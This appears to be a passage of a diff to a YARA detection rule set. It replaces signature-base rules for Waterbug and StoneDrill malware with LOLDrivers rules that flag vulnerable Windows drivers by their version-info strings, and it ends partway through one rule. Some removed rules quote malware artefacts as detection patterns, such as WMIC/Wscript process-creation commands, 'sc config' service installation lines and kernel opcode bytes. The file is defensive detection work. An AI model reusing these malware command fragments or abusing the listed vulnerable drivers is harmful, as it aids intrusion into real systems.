+		logic_hash = "e5eb524d77c082acac68ea7b24bf10e445dd1afc9be97333980d8a8d580a6e98"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
-		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Waterbug_Fa_Malware : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxusbmonsys_Virtualboxusbmonitordriver_8A24 : FILE
 {
 	meta:
-		description = "Symantec Waterbug Attack - FA malware variant"
-		author = "Symantec Security Response"
-		id = "b09f798a-2875-59ca-b880-971d8f973c76"
-		date = "2015-01-22"
-		modified = "2023-01-27"
-		reference = "http://t.co/rF35OaAXrl"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbug.yar#L64-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b3ac0d69551f27c7f81e24eb00e110639d4b31c8581dfee82715d65528b09632"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxUSBMon.sys"
+		author = "Florian Roth"
+		id = "f1c042e9-1bbe-5a21-9a46-519c93cb7b2c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7824-L7843"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8a2482e19040d591c7cec5dfc35865596ce0154350b5c4e1c9eecc86e7752145"
+		logic_hash = "bf3569ba1652fc95c0752a4bf58586ecbe41db63d58ff6326cbd7ef6c2d5b65f"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
-		$string2 = "d:\\proj\\cn\\fa64\\"
-		$string3 = "sengoku_Win32.sys\x00"
-		$string4 = "rk_ntsystem.c"
-		$string5 = "\\uroboros\\"
-		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200055005300420020004d006f006e00690074006f00720020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078005500530042004d006f006e002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f007800200055005300420020004d006f006e00690074006f00720020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078005500530042004d006f006e002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($string*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Waterbug_Sav : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Copyright_Advancedmalwareprotection_6F55 : FILE
 {
 	meta:
-		description = "Symantec Waterbug Attack - SAV Malware"
-		author = "Symantec Security Response"
-		id = "685849de-9892-56bf-8215-21b08d8b2d7c"
-		date = "2015-01-22"
-		modified = "2023-01-27"
-		reference = "http://t.co/rF35OaAXrl"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbug.yar#L114-L129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8622ac6cb1f0b9965fe6ee1a4860f19d8b0dc1c586e2a3771420b8d78648066"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amsdk.sys"
+		author = "Florian Roth"
+		id = "6eb82ac7-9544-5554-b7af-557dd843d29d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7846-L7864"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6f55c148bb27c14408cf0f16f344abcd63539174ac855e510a42d78cfaec451c"
+		logic_hash = "4b5b303a3311ec88e1ebad890eb08fe3af13b3c6fdd7cf88421a9f7590661832"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
-		$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC	3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
-		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
-		$code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007000790072006900670068007400200032003000310038002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005a0041004d002e006500780065 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000310038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5A4D and (($code1a or $code1b or $code1c) and $code2)
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Susp_File_Enumerator_With_Encrypted_Resource_101 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_0DC4 : FILE
 {
 	meta:
-		description = "Generic detection for samples that enumerate files with encrypted resource called 101"
-		author = "Kaspersky Lab"
-		id = "9bc16ec2-c94c-54f5-b09c-88a78e9e3fb2"
-		date = "2024-01-04"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L12-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
-		hash = "c843046e54b755ec63ccb09d0a689674"
-		logic_hash = "0a207038b3cbba88d05cd6a053fd14337ac1fbb08b2a532b542ee2bb6b881a5a"
-		score = 65
-		quality = 44
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "80f3a10e-1943-522d-a881-4e67bc908de3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7867-L7886"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0dc4ff96d7e7db696e0391c5a1dda92a0b0aedbf1b0535bf5d62ebeec5b2311c"
+		logic_hash = "291aa7d4bd435f112fb6678d8b495d38df94b7a6256d71ac39dd055ab3c94719"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$mz = "This program cannot be run in DOS mode."
-		$a1 = "FindFirstFile" ascii wide nocase
-		$a2 = "FindNextFile" ascii wide nocase
-		$a3 = "FindResource" ascii wide nocase
-		$a4 = "LoadResource" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003500200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5A4D and all of them and filesize <700000 and pe.number_of_sections>4 and pe.number_of_resources>1 and pe.number_of_resources<15 and for any i in (0..pe.number_of_resources-1) : ((math.entropy(pe.resources[i].offset,pe.resources[i].length)>7.8) and pe.resources[i].id==101 and pe.resources[i].length>20000 and pe.resources[i].language==0 and not ($mz in (pe.resources[i].offset..pe.resources[i].offset+pe.resources[i].length)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill_Main_Sub : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tenasyscorporation_Rtifsys_Intime_3670 : FILE
 {
 	meta:
-		description = "Rule to detect StoneDrill (decrypted) samples"
-		author = "Kaspersky Lab"
-		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L43-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "794094c0cbb81f6f971e16de36d444351b17cf38a91d8210f914b80da7d9ed26"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtif.sys"
+		author = "Florian Roth"
+		id = "0756f1e4-4cc4-5161-8792-c8b7cfe11965"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7889-L7909"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3670ccd9515d529bb31751fcd613066348057741adeaf0bffd1b9a54eb8baa76"
+		hash = "0d133ced666c798ea63b6d8026ec507d429e834daa7c74e4e091e462e5815180"
+		logic_hash = "3ca3c8fe11a696ad5eaf4b806c277a903a665b3c16a5c8a86dbf8468a71ad9ee"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "d01781f1246fd1b64e09170bd6600fe1"
-		hash2 = "ac3c25534c076623192b9381f926ba0d"
-		version = "1.0"
 
 	strings:
-		$code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004e00740069006d006500200050006e00500020005200540020004b00650072006e0065006c00200049006e00740065007200660061006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00540065006e004100730079007300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0032002e00310037003000350032002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004e00740069006d0065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300032002d0032003000310037002000620079002000540065006e004100730079007300200043006f00720070006f0072006100740069006f006e002e }
 
 	condition:
-		uint16(0)==0x5A4D and $code and filesize <5000000
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill_BAT_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_EEA5 : FILE
 {
 	meta:
-		description = "Rule to detect Batch file from StoneDrill report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L65-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7263a527cae45072082c0f2fd0abc33acb2a25b34c06becf36fbd36f0697d5c"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "2942b5b0-7270-5b7a-98f7-beee11e7aa57"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7912-L7931"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
+		logic_hash = "47bcbc01fc9d12d72613093da34efd44b9d45af700a83450e36aed9fa972ae9b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "set u100=" ascii
-		$s2 = "set u200=service" ascii fullword
-		$s3 = "set u800=%~dp0" ascii fullword
-		$s4 = "\"%systemroot%\\system32\\%u100%\"" ascii
-		$s5 = "%\" start /b %systemroot%\\system32\\%" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200032002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint32(0)==0x68636540 and 2 of them and filesize <500
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill_Service_Install : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_9CA5 : FILE
 {
 	meta:
-		description = "Rule to detect Batch file from StoneDrill report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L82-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "52abe90c7f87ffeace4b58f9959e5a21c475bfa7ae2c5bc2744fe5fe43ffdda8"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "41660c6a-2c4c-5362-94cc-f701eb939870"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7934-L7953"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9ca586b49135166eea00c6f83329a2d134152e0e9423822a51c13394265b6340"
+		logic_hash = "a666e2b5c53129dc1f82a945d828bb84fc31e54c1c69cc6666222e4b9a45ea39"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "127.0.0.1 >nul && sc config" ascii
-		$s2 = "LocalService\" && ping -n" ascii fullword
-		$s3 = "127.0.0.1 >nul && sc start" ascii fullword
-		$s4 = "sc config NtsSrv binpath= \"C:\\WINDOWS\\system32\ntssrvr64.exe" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		2 of them and filesize <500
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill_Ntssrvr32 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_4E54 : FILE
 {
 	meta:
-		description = "Detects malware from StoneDrill threat report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
-		date = "2017-03-07"
-		modified = "2023-01-27"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L98-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f1122aba53f32b10bd5f43cb619aa5d668b1457f3a5ea2a68c97254ab8631faa"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "d6f57b92-e6fe-5723-9fbf-ee7ccc3aa5a2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7956-L7975"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4e54e98df13110aac41f3207e400cce2a00df29ce18c32186e536c1de25a75ce"
+		logic_hash = "81a80cb4cdeb79ba7b32cb981c4f6d986fc465a78566aded7d7bf3f06e3e027f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
 
 	strings:
-		$s1 = "g\\system32\\" wide
-		$s2 = "ztvttw" fullword wide
-		$s3 = "lwizvm" fullword ascii
-		$op1 = { 94 35 77 73 03 40 eb e9 }
-		$op2 = { 80 7c 41 01 00 74 0a 3d }
-		$op3 = { 74 0a 3d 00 94 35 77 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e003200300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003000390020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Stonedrill_Malware_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_2D2C : FILE
 {
 	meta:
-		description = "Detects malware from StoneDrill threat report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
-		date = "2017-03-07"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stonedrill.yar#L120-L145"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb1f8b24465ad8ca19dd540b1f8b63a73bc2624958bf45547b15c10583d07281"
-		score = 75
-		quality = 60
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "f2aefc0c-b851-5341-acee-20d02c838548"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7978-L7997"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2d2c7ee9547738a8a676ab785c151e8b48ed40fe7cf6174650814c7f5f58513b"
+		logic_hash = "991c554b098cc048d925ab989b0ca3950b07fd13e75ddcc0e8d8f4e24f6e58a6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
 
 	strings:
-		$s1 = "cmd /c WMIC Process Call Create \"C:\\Windows\\System32\\Wscript.exe //NOLOGO " fullword wide
-		$s2 = "C:\\ProgramData\\InternetExplorer" fullword wide
-		$s3 = "WshShell.CopyFile \"" fullword wide
-		$s4 = "Abd891.tmp" fullword wide
-		$s5 = "Set WshShell = Nothing" fullword wide
-		$s6 = "AaCcdDeFfGhiKLlMmnNoOpPrRsSTtUuVvwWxyZz32" fullword ascii
-		$s7 = "\\FileInfo.txt" wide
-		$x1 = "C-PDI-C-Cpy-T.vbs" fullword wide
-		$x2 = "C-Dlt-C-Org-T.vbs" fullword wide
-		$x3 = "C-PDC-C-Cpy-T.vbs" fullword wide
-		$x4 = "AC-PDC-C-Cpy-T.vbs" fullword wide
-		$x5 = "C-Dlt-C-Trsh-T.tmp" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
